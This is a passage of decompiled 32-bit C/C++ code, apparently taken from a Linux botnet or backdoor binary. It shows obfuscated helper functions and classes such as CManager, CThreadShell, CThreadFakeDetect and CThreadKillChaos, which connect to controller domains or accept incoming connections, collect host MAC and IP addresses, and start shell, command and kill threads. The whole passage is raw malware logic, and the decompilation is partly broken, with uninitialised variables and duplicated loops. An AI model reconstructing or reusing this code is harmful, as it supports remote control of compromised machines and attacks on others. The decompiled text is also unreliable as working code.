int32_t v6;
_ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_S8_((char *)&v6, (char *)a1, (char *)v5);
std__string__operator_eq__675();
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v6);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v5);
int32_t v7;
_ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_PKS3_(&v7, (char *)a1, "/");
std__string__operator_eq__675();
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v7);
int32_t * v8;
Kusdf9((char *)v8);
int32_t v9;
_ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_S8_((char *)&v9, (char *)a1, (char *)v8);
std__string__operator_eq__675();
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v9);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v8);
int32_t v10;
_ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_PKS3_(&v10, (char *)a1, ".");
std__string__operator_eq__675();
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v10);
int32_t * v11;
tRd76((char *)v11);
int32_t v12;
_ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_S8_((char *)&v12, (char *)a1, (char *)v11);
std__string__operator_eq__675();
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v12);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v11);
g98 = v1;
return result;
}
// Address range: 0x8063a06 - 0x8063cf9
int32_t wer54(int32_t * a1, int32_t a2) {
int32_t v1 = g98; // 0x8063a09
int32_t result = (int32_t)a1; // 0x8063a0d
g98 = result;
int32_t v2;
std__allocator_lt_char_gt__598(v2);
int32_t * v3;
int32_t v4;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691((int32_t *)g98, (int32_t)"/", v2, v4, (int32_t)v3, 0);
std__allocator_lt_char_gt_();
int32_t * v5;
nkfsd8((char *)v5);
int32_t v6;
_ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_S8_((char *)&v6, (char *)a1, (char *)v5);
std__string__operator_eq__675();
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v6);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v5);
int32_t v7;
_ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_PKS3_(&v7, (char *)a1, "/");
std__string__operator_eq__675();
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v7);
int32_t * v8;
Isuf6((char *)v8);
int32_t v9;
_ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_S8_((char *)&v9, (char *)a1, (char *)v8);
std__string__operator_eq__675();
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v9);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v8);
int32_t v10;
_ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_PKS3_(&v10, (char *)a1, ".");
std__string__operator_eq__675();
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v10);
int32_t * v11;
tRd76((char *)v11);
int32_t v12;
_ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_S8_((char *)&v12, (char *)a1, (char *)v11);
std__string__operator_eq__675();
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v12);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v11);
g98 = v1;
return result;
}
// Address range: 0x8063d4a - 0x8063d8f
int32_t CManager__GetNodeDomains(int32_t * a1) {
int32_t v1 = g98; // 0x8063d4d
int32_t v2 = 0x8132da0; // bp-28
int32_t v3 = std__string__empty(&g58); // 0x8063d59
int32_t result; // 0x8063d8e_11
if (v3 != 1) {
// 0x8063d68
g98 = (int32_t)a1;
v2 = std__string__c_str(&g58);
result = CUtility__Split_541((char *)&v2, 44, (int32_t *)g98);
// branch -> 0x8063d8a
} else {
result = v3 ^ 1;
}
// 0x8063d8a
g98 = v1;
return result;
}
// Address range: 0x806461a - 0x806473b
int32_t CManager__CloseAllSockets(char * a1, uint32_t a2) {
int32_t v1 = (int32_t)a1; // 0x8064626
CNetBase__Close(*(int32_t *)(v1 + 884));
uint32_t v2 = a2 % 256; // 0x8064650
if ((v2 | CNetBase__Close(*(int32_t *)(v1 + 1020)) & -256) != 1) {
// 0x806465a
CThreadMutex__Lock(v1 + 888);
// branch -> 0x806466e
}
int32_t v3 = v1 + 912; // 0x8064671
int32_t v4;
std__set_lt_void__ptr__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___begin((int32_t **)&v4, v3);
int32_t * v5;
int32_t v6 = (int32_t)v5; // 0x80646a7
// branch -> 0x80646e3
while (true) {
// 0x80646e3
int32_t v7;
std__set_lt_void__ptr__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___end((int32_t **)&v7, v3);
int32_t v8 = std___Rb_tree_const_iterator_lt_void__ptr__gt___operator_not__eq_(&v4, &v7); // 0x806470c
if (v8 == 0) {
// 0x806471c
int32_t result; // 0x806473b_11
if (v2 != 1) {
// 0x8064726
result = CThreadMutex__Unlock(v1 + 888);
// branch -> 0x806473a
} else {
result = v2 ^ 1;
}
// 0x806473a
return result;
}
// 0x806468e
std___Rb_tree_const_iterator_lt_void__ptr__gt___operator_ptr_(&v4);
if (g9 == 1) {
// 0x8064698
CThreadFXConnection__CloseSocket(v6);
// branch -> 0x80646d4
} else {
// 0x80646b7
CThreadConnection__CloseSocket(v6);
// branch -> 0x80646d4
}
// 0x80646d4
std___Rb_tree_const_iterator_lt_void__ptr__gt___operator__(&v4);
// branch -> 0x80646e3
}
}
// Address range: 0x80661cc - 0x80664a9
int32_t CManager_182(int32_t * a1) {
struct struct_3 * v1 = NULL; // bp-9
std__allocator_lt_std__string_gt__42((int32_t)v1);
int32_t v2 = (int32_t)a1; // 0x80661e2
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt_((struct struct_3 *)a1, v1);
std__allocator_lt_std__string_gt_(&v1->e0);
CThreadSignaledMessageList_lt_CCmdMsg_gt__261(v2 + 12);
CThreadSignaledMessageList_lt_CThreadConnection_gt__271(v2 + 240);
CThreadSignaledMessageList_lt_CThreadShell_gt__281(v2 + 464);
CInitResponse_209((struct struct_45 *)(v2 + 692));
CThreadMutex_531();
CCommonResponse_185((struct struct_43 *)(v2 + 832));
*(int32_t *)(v2 + 884) = 0;
CThreadMutex_531();
struct struct_3 * v3 = (struct struct_3 *)(v2 + 912); // 0x80662a6_0
std__set_lt_void__ptr__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt__235(&v3->e0);
*(char *)(v2 + 936) = 0;
*(int32_t *)(v2 + 940) = 0;
*(char *)(v2 + 944) = 0;
CThreadCondition_524();
*(int32_t *)(v2 + 1020) = 0;
CTask_208((struct struct_45 *)(v2 + 1024));
*(int32_t *)(v2 + 1072) = 0;
CThreadMutex__InitMutex(v2 + 808);
CThreadMutex__InitMutex(v2 + 888);
return CThreadCondition__InitCondition(v2 + 948);
}
// Address range: 0x8066788 - 0x8066a8d
int32_t CManager__ZXMainProcess(int32_t * a1) {
int32_t v1 = CNetBase__CreateSocket(6); // 0x8066794
int32_t v2 = (int32_t)a1; // 0x806679e
int32_t * v3 = (int32_t *)(v2 + 884); // 0x80667a1_0
*v3 = v1;
int32_t result = *v3; // 0x80667aa
if (result < 0) {
// 0x8066a89
return result;
}
int32_t result2 = CNetBase__Bind(*v3, g8 % 0x10000); // 0x80667ce
if (result2 < 0) {
// 0x8066a89
return result2;
}
int32_t result3 = CNetBase__Listen(*v3, g17); // 0x80667f7
if (result3 < 0) {
// 0x8066a89
return result3;
}
int32_t v4 = 0;
int32_t v5 = (int32_t)g2; // 0x8066820
int32_t v6 = 0; // bp-112
int32_t * v7;
int32_t v8 = (int32_t)v7; // 0x8066867
int32_t * v9 = (int32_t *)(v2 + 912); // 0x8066a4a
// branch -> 0x8066815
lab_0xf0d0960:;
int32_t v10; // 0x8066846
int32_t v11; // 0x80669b2
int32_t v12;
while (true) {
// 0x8066815
// branch -> 0x8066815
int32_t * v13;
int32_t v14;
int32_t v15; // 0x8066835
while (true) {
lab_0x584bb90:
// 0x8066815
memset(v13, v5, 16);
v4 = 16;
v15 = *v3;
v6 = 0x4e20;
v10 = CNetBase__Accept_523(v15, (struct _sockaddr *)v13, &v4, (struct _sockaddr *)&v6);
if ((int32_t **)v10 >= (int32_t **)1) {
v14 = 0;
// break -> 0x8066905
break;
}
// continue -> 0x8066815
}
while (true) {
// 0x8066905
g98 = v14;
uint32_t v16 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___size((int32_t **)a1); // 0x806690f
int32_t v17 = 0; // 0x806693b4
if (((int32_t)(g98 < v16) || v16 & -256) != 0) {
lab_0x9edfee0:;
int32_t v18 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_((int32_t **)a1, (int32_t *)v14); // 0x8066878
struct struct_3 * v19 = (struct struct_3 *)std__string__c_str((int32_t *)v18); // 0x8066884_4
char * v20;
CDNSCache__GetIpFromDomain((int32_t *)v20, (struct struct_20 *)&g44, v19);
inet_addr((char *)std__string__c_str((int32_t *)v20));
g98 = g98 & -256 | (int32_t)(v8 == g95);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v20);
if (g98 == 0) {
// 0x8066900
v14++;
// branch -> 0x8066905
continue;
} else {
v17 = 1;
}
}
lab_0x9ee01a0:;
int32_t v21 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___empty(a1); // 0x806692b
if (((v21 == 0 ? v17 : 1) || v21 & -256) == 1) {
int32_t v22 = CNetBase__GetSockName(v10); // 0x806695e
CConfigDoing__SetDefaultIp((int32_t **)&g43, (int32_t *)v22);
CStatBase__GetMacsIps(g62, v22);
CNetBase__SetKeepAlive(v10);
CNetBase__SetSendBufSize(v10);
v11 = _Znwj(68, v5, v12);
CThreadConnection_429((struct struct_61 *)v11, v2, v10, v8);
if (v11 != 0) {
// break (via goto) -> 0x8066a06
goto lab_0x5859d70;
}
v12 = v10;
// continue (via goto) -> 0x8066815
goto lab_0xf0d0960;
} else {
// 0x8066945
CNetBase__Close(v10);
// branch -> 0x8066815
goto lab_0x584bb90;
}
while (true) {
// 0x8066815
memset(v13, v5, 16);
v4 = 16;
v15 = *v3;
v6 = 0x4e20;
v10 = CNetBase__Accept_523(v15, (struct _sockaddr *)v13, &v4, (struct _sockaddr *)&v6);
if ((int32_t **)v10 >= (int32_t **)1) {
v14 = 0;
// break -> 0x8066905
break;
}
// continue -> 0x8066815
}
while (true) {
// 0x8066905
g98 = v14;
v16 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___size((int32_t **)a1);
uint32_t v23 = g98; // 0x8066917
if (((int32_t)(v23 < v16) || v16 & -256) == 0) {
v17 = 0;
goto lab_0x9ee01a0;
}
goto lab_0x9edfee0;
}
}
}
lab_0x5859d70:
// 0x8066a06
CThread__StartThread(v11);
int32_t v24;
CAutoLock_492((struct struct_68 *)&v24, v2 + 888, 1);
int32_t v25;
std__set_lt_void__ptr__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___insert(&v25, v9, (int32_t *)v11);
CAutoLock_493((struct struct_68 *)&v24);
v12 = v10;
// branch -> 0x8066815
goto lab_0xf0d0960;
}
// Address range: 0x8066a8e - 0x8066bf6
int32_t CManager__MainProcess(int32_t * a1, int32_t * a2) {
CManager__GetNodeDomains(a1);
if (g9 == 0) {
// 0x8066aac
CManager__ZXMainProcess(a1);
// branch -> 0x8066be6
} else {
int32_t v1 = (int32_t)a1; // 0x8066bca
int32_t * v2 = (int32_t *)(v1 + 912); // 0x8066b84_0
int32_t v3 = 0;
// branch -> 0x8066bc7
while (true) {
// 0x8066bc7
g98 = v3;
uint32_t v4 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___size((int32_t **)a1); // 0x8066bd1
if (((int32_t)(g98 < v4) || v4 & -256) != 0) {
// 0x8066acb
g98 = std__string__c_str((int32_t *)std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_((int32_t **)a1, (int32_t *)v3));
int32_t v5; // 0x8066aff
int32_t v6 = _Znwj(68, v3, v5); // 0x8066af1
v5 = g98;
CThreadFXConnection_433((struct struct_62 *)v6, v1, v5);
if (v6 != 0) {
// 0x8066b42
CThread__StartThread(v6);
int32_t v7;
CAutoLock_492((struct struct_68 *)&v7, v1 + 888, 1);
int32_t v8;
std__set_lt_void__ptr__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___insert(&v8, v2, (int32_t *)v6);
CAutoLock_493((struct struct_68 *)&v7);
// branch -> 0x8066bc2
}
v3++;
// branch -> 0x8066bc7
continue;
}
while (true) {
// 0x8066be6
CUtility__Sleep((int32_t *)0x36ee80);
// branch -> 0x8066be6
}
}
}
while (true) {
// 0x8066be6
CUtility__Sleep((int32_t *)0x36ee80);
// branch -> 0x8066be6
}
}
// Address range: 0x8066bf8 - 0x8067041
int32_t CManager__Initialize(int32_t * a1) {
struct struct_14 * v1 = NULL; // bp-32
int32_t v2 = (int32_t)a1; // 0x8066c0d
CThreadSignaledMessageList_lt_CCmdMsg_gt___Initialize(v2 + 12, 100);
int32_t v3;
int32_t v4 = _Znwj(56, 100, v3); // 0x8066c26
CThreadTaskGates_473((struct struct_3 *)v4, v2);
int32_t * v5 = (int32_t *)(v2 + 228); // 0x8066c6c_0
*v5 = v4;
int32_t v6 = *v5; // 0x8066c75
if (v6 == 0) {
// 0x806703d
return (int32_t)(int32_t *)v6;
}
// 0x8066c83
CThread__StartThread(*v5);
int32_t v7;
int32_t v8 = _Znwj(56, 0, v7); // 0x8066c9d
CThreadClientStatus_425((struct struct_3 *)v8, v2);
int32_t * v9 = (int32_t *)(v2 + 232); // 0x8066ce3_0
*v9 = v8;
int32_t v10 = *v9; // 0x8066cec
if (v10 == 0) {
// 0x806703d
return (int32_t)(int32_t *)v10;
}
// 0x8066cfa
CThread__StartThread(*v9);
CThreadSignaledMessageList_lt_CThreadConnection_gt___Initialize(v2 + 240, 100);
int32_t v11;
int32_t v12 = _Znwj(56, 100, v11); // 0x8066d2a
CThreadRecycle_461((struct struct_3 *)v12, v2);
int32_t * v13 = (int32_t *)(v2 + 236); // 0x8066d70_0
*v13 = v12;
int32_t v14 = *v13; // 0x8066d79
if (v14 == 0) {
// 0x806703d
return (int32_t)(int32_t *)v14;
}
// 0x8066d87
CThread__StartThread(*v13);
CCmdDoing__GetCmd(&v1->e0, g42);
int32_t v15 = _Znwj(168, (int32_t)v1, g42); // 0x8066db8
CThreadLoopCmd_453((struct struct_3 *)v15, (int32_t)v1);
int32_t * v16 = (int32_t *)(v2 + 456); // 0x8066df9_0
*v16 = v15;
if (*v16 == 0) {
// 0x806702e
CLoopCmd_83(&v1->e0);
// branch -> 0x806703d
// 0x806703d
return (int32_t)NULL;
}
// 0x8066e11
CThread__StartThread(*v16);
int32_t v17 = _Znwj(180, (int32_t)v1, g42); // 0x8066e2e
CThreadFakeDetect_441((struct struct_63 *)v17, v2);
int32_t * v18 = (int32_t *)(v2 + 460); // 0x8066e6e_0
*v18 = v17;
if (*v18 == 0) {
// 0x806702e
CLoopCmd_83(&v1->e0);
// branch -> 0x806703d
// 0x806703d
return (int32_t)NULL;
}
// 0x8066e86
CThread__StartThread(*v18);
CThreadSignaledMessageList_lt_CThreadShell_gt___Initialize(v2 + 464, 100);
int32_t v19 = _Znwj(56, 100, g42); // 0x8066eb6
CThreadShellRecycle_469((struct struct_3 *)v19, v2);
int32_t * v20 = (int32_t *)(v2 + 680); // 0x8066ef6_0
*v20 = v19;
if (*v20 == 0) {
// 0x806702e
CLoopCmd_83(&v1->e0);
// branch -> 0x806703d
// 0x806703d
return (int32_t)NULL;
}
// 0x8066f0e
CThread__StartThread(*v20);
int32_t v21 = _Znwj(52, v2, g42); // 0x8066f28
CThreadDoFun_437((int32_t *)v21);
int32_t * v22 = (int32_t *)(v2 + 684); // 0x8066f65_0
*v22 = v21;
if (*v22 == 0) {
// 0x806702e
CLoopCmd_83(&v1->e0);
// branch -> 0x806703d
// 0x806703d
return (int32_t)NULL;
}
// 0x8066f7d
CThread__StartThread(*v22);
int32_t v23 = _Znwj(52, v2, g42); // 0x8066f97
CThreadKillChaos_449((int32_t *)v23);
int32_t * v24 = (int32_t *)(v2 + 688); // 0x8066fd1_0
*v24 = v23;
if (*v24 != 0) {
// 0x8066fe6
CThread__StartThread(*v24);
CManager__MainProcess(a1, a1);
// branch -> 0x806702e
}
// 0x806702e
CLoopCmd_83(&v1->e0);
// branch -> 0x806703d
// 0x806703d
return (int32_t)NULL;
}
// Address range: 0x8067f42 - 0x8067fd9
int32_t CBillStatus_184(struct struct_42 * a1) {
// 0x8067f42
CSerial_81(&a1->e0);
a1->e0 = 0x80ff718;
a1->e1 = 1;
a1->e2 = 0;
a1->e3 = 0;
a1->e4 = 0;
a1->e5 = 0;
a1->e6 = 16;
a1->e6 = 0;
return std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_((int32_t *)((int32_t)a1 + 28));
}
// Address range: 0x8067fda - 0x806805f
int32_t CCommonResponse_185(struct struct_43 * a1) {
// 0x8067fda
CSerial_81(&a1->e0);
a1->e0 = 0x80ff738;
CBillStatus_184((struct struct_42 *)((int32_t)a1 + 4));
*(char *)((int32_t)a1 + 36) = 1;
*(char *)((int32_t)a1 + 37) = 1;
*(int32_t *)((int32_t)a1 + 40) = 0;
int32_t result = (int32_t)a1; // 0x8068027
*(int32_t *)(result + 44) = 0;
*(int32_t *)(result + 48) = 0;
return result;
}
// Address range: 0x80682b2 - 0x80682c9
int32_t std___Rb_tree_const_iterator_lt_void__ptr__gt___operator_not__eq_(int32_t * a1, int32_t * a2) {
int32_t v1 = *a2; // 0x80682bd
return (((int32_t)(*a1 == v1) | v1 & -256) ^ 1) % 2;
}
// Address range: 0x80682ca - 0x80682d7
int32_t std___Rb_tree_const_iterator_lt_void__ptr__gt___operator_ptr_(int32_t * a1) {
// 0x80682ca
return *a1 + 16;
}
// Address range: 0x80682d8 - 0x80682e3
int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____M_begin(int32_t * a1) {
// 0x80682d8
return *(int32_t *)((int32_t)a1 + 8);
}
// Address range: 0x80682e4 - 0x8068325
int32_t CThreadMessageList_lt_CCmdMsg_gt___Initialize(int32_t * a1, int32_t a2) {
int32_t v1;
CAutoLock_492((struct struct_68 *)&v1, (int32_t)a1 + 12, 1);
*a1 = a2;
CAutoLock_493((struct struct_68 *)&v1);
return 1;
}
// Address range: 0x8068326 - 0x8068345
int32_t CThreadSignaledMessageList_lt_CCmdMsg_gt___Initialize(int32_t a1, int32_t a2) {
uint32_t v1 = CThreadMessageList_lt_CCmdMsg_gt___Initialize((int32_t *)(a1 + 36), a2); // 0x8068339
return v1 % 256;
}
// Address range: 0x8068346 - 0x8068387
int32_t CThreadMessageList_lt_CThreadConnection_gt___Initialize(int32_t * a1, int32_t a2) {
int32_t v1;
CAutoLock_492((struct struct_68 *)&v1, (int32_t)a1 + 12, 1);
*a1 = a2;
CAutoLock_493((struct struct_68 *)&v1);
return 1;
}
// Address range: 0x8068388 - 0x80683a7
int32_t CThreadSignaledMessageList_lt_CThreadConnection_gt___Initialize(int32_t a1, int32_t a2) {
uint32_t v1 = CThreadMessageList_lt_CThreadConnection_gt___Initialize((int32_t *)(a1 + 36), a2); // 0x806839b
return v1 % 256;
}
// Address range: 0x80683a8 - 0x80683e9
int32_t CThreadMessageList_lt_CThreadShell_gt___Initialize(int32_t * a1, int32_t a2) {
int32_t v1;
CAutoLock_492((struct struct_68 *)&v1, (int32_t)a1 + 12, 1);
*a1 = a2;
CAutoLock_493((struct struct_68 *)&v1);
return 1;
}
// Address range: 0x80683ea - 0x8068409
int32_t CThreadSignaledMessageList_lt_CThreadShell_gt___Initialize(int32_t a1, int32_t a2) {
uint32_t v1 = CThreadMessageList_lt_CThreadShell_gt___Initialize((int32_t *)(a1 + 36), a2); // 0x80683fd
return v1 % 256;
}
// Address range: 0x806840a - 0x8068419
int32_t std___Rb_tree_const_iterator_lt_void__ptr__gt_(int32_t * a1, int32_t * a2) {
// 0x806840a
g95 = (int32_t)a2;
*a1 = *a2;
return (int32_t)a1;
}
// Address range: 0x806841a - 0x8068433
int32_t std__pair_lt_std___Rb_tree_const_iterator_lt_void__ptr__gt__comma__bool_gt_(int32_t * a1, int32_t * a2, char * a3) {
int32_t result = (int32_t)a1; // 0x8068422
*a1 = *a2;
*(char *)(result + 4) = *a3;
return result;
}
// Address range: 0x806846a - 0x806848d
int32_t std___Rb_tree_const_iterator_lt_void__ptr__gt___operator__(int32_t * a1) {
// 0x806846a
*a1 = std___Rb_tree_increment_590();
return (int32_t)a1;
}
// Address range: 0x80685ac - 0x80685b1
void __gnu_cxx____mt_alloc_lt_void__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void) {
// 0x80685ac
return;
}
// Address range: 0x80685b2 - 0x80685c9
int32_t std__allocator_lt_void__ptr__gt_(int32_t result) {
// 0x80685b2
__gnu_cxx____mt_alloc_lt_void__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_();
return result;
}
// Address range: 0x80685ca - 0x80685cf
void __gnu_cxx____mt_alloc_lt_std___Rb_tree_node_lt_void__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void) {
// 0x80685ca
return;
}
// Address range: 0x8068600 - 0x8068617
int32_t std__allocator_lt_std___Rb_tree_node_lt_void__ptr__gt___gt__191(int32_t result) {
// 0x8068600
__gnu_cxx____mt_alloc_lt_std___Rb_tree_node_lt_void__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_();
return result;
}
// Address range: 0x8068618 - 0x8068623
int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____S_right(int32_t * a1) {
// 0x8068618
return *(int32_t *)((int32_t)a1 + 12);
}
// Address range: 0x8068624 - 0x806862f
int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____S_left(int32_t * a1) {
// 0x8068624
return *(int32_t *)((int32_t)a1 + 8);
}
// Address range: 0x8068630 - 0x806863b
int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____M_end(int32_t * a1) {
// 0x8068630
return (int32_t)a1 + 4;
}
// Address range: 0x806863c - 0x8068643
int32_t std___Identity_lt_void__ptr__gt___operator_lb__rb_(int32_t a1) {
// 0x806863c
int32_t result;
return result;
}
// Address range: 0x8068644 - 0x806865b
int32_t std__less_lt_void__ptr__gt___operator_lb__rb_(int32_t * a1, int32_t * a2) {
// 0x8068644
int32_t * v1;
return *a2 < *v1;
}
// Address range: 0x806865c - 0x8068669
int32_t std___Rb_tree_iterator_lt_void__ptr__gt_(int32_t ** a1, int32_t * a2) {
// 0x806865c
*a1 = a2;
return (int32_t)a1;
}
// Address range: 0x806866a - 0x806868d
int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___begin(int32_t ** a1, int32_t * a2) {
int32_t v1 = *(int32_t *)((int32_t)a2 + 12); // 0x8068677
std___Rb_tree_iterator_lt_void__ptr__gt_(a1, (int32_t *)v1);
return (int32_t)a1;
}
// Address range: 0x8068690 - 0x80686a7
int32_t std___Rb_tree_iterator_lt_void__ptr__gt___operator_eq__eq_(int32_t * a1, int32_t * a2) {
// 0x8068690
return *a1 == *a2;
}
// Address range: 0x80686a8 - 0x80686c1
int32_t std__pair_lt_std___Rb_tree_iterator_lt_void__ptr__gt__comma__bool_gt_(int32_t * a1, int32_t * a2, char * a3) {
int32_t result = (int32_t)a1; // 0x80686b0
*a1 = *a2;
*(char *)(result + 4) = *a3;
return result;
}
// Address range: 0x806877c - 0x8068789
int32_t std___Rb_tree_const_iterator_lt_void__ptr__gt__192(int32_t * a1, int32_t a2) {
// 0x806877c
*a1 = a2;
return (int32_t)a1;
}
// Address range: 0x806878a - 0x80687ad
int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___begin_193(int32_t * a1, int32_t a2) {
// 0x806878a
std___Rb_tree_const_iterator_lt_void__ptr__gt__192(a1, *(int32_t *)(a2 + 12));
return (int32_t)a1;
}
// Address range: 0x80687b0 - 0x80687db
int32_t std__set_lt_void__ptr__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___begin(int32_t ** a1, int32_t a2) {
int32_t v1 = g98; // 0x80687b3
g98 = (int32_t)a1;
int32_t ** v2;
std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___begin_193((int32_t *)v2, a2);
*(int32_t *)g98 = (int32_t)v2;
int32_t result = g98; // 0x80687d2
g98 = v1;
return result;
}
// Address range: 0x80687dc - 0x80687ff
int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___end(int32_t * a1, int32_t a2) {
// 0x80687dc
std___Rb_tree_const_iterator_lt_void__ptr__gt__192(a1, a2 + 4);
return (int32_t)a1;
}
// Address range: 0x8068802 - 0x806882d
int32_t std__set_lt_void__ptr__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___end(int32_t ** a1, int32_t a2) {
int32_t v1 = g98; // 0x8068805
g98 = (int32_t)a1;
int32_t * v2;
std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___end(v2, a2);
*(int32_t *)g98 = (int32_t)v2;
int32_t result = g98; // 0x8068824
g98 = v1;
return result;
}
// Address range: 0x8068aae - 0x8068ac9
int32_t std__allocator_lt_CSubTask_gt__196(int32_t a1, int32_t a2) {
// 0x8068aae
__gnu_cxx____mt_alloc_lt_CSubTask_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__160(a1);
return 0x8132c20;
}
// Address range: 0x8068aca - 0x8068b01
int32_t std___Vector_base_lt_CSubTask_comma__std__allocator_lt_CSubTask_gt___gt____Vector_impl_197(struct struct_3 * a1, int32_t a2) {
// 0x8068aca
std__allocator_lt_CSubTask_gt__196((int32_t)a1, a2);
a1->e0 = 0;
a1->e1 = 0;
int32_t result = (int32_t)a1; // 0x8068af8
*(int32_t *)(result + 8) = 0;
return result;
}
// Address range: 0x8068b02 - 0x8068b1b
int32_t std___Vector_base_lt_CSubTask_comma__std__allocator_lt_CSubTask_gt___gt__198(struct struct_6 * a1, int32_t a2) {
// 0x8068b02
return std___Vector_base_lt_CSubTask_comma__std__allocator_lt_CSubTask_gt___gt____Vector_impl_197((struct struct_3 *)a1, a2);
}
// Address range: 0x8068c16 - 0x8068c31
int32_t __gnu_cxx____mt_alloc_lt_CSubTask_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__205(int32_t a1) {
// 0x8068c16
__gnu_cxx____mt_alloc_base_lt_CSubTask_gt_();
__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool();
return 0x8132c20;
}
// Address range: 0x8068c32 - 0x8068c49
int32_t std__allocator_lt_CSubTask_gt__206(int32_t a1) {
// 0x8068c32
__gnu_cxx____mt_alloc_lt_CSubTask_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__205(a1);
return 0x8132c20;
}
// Address range: 0x8068c4a - 0x8068c63
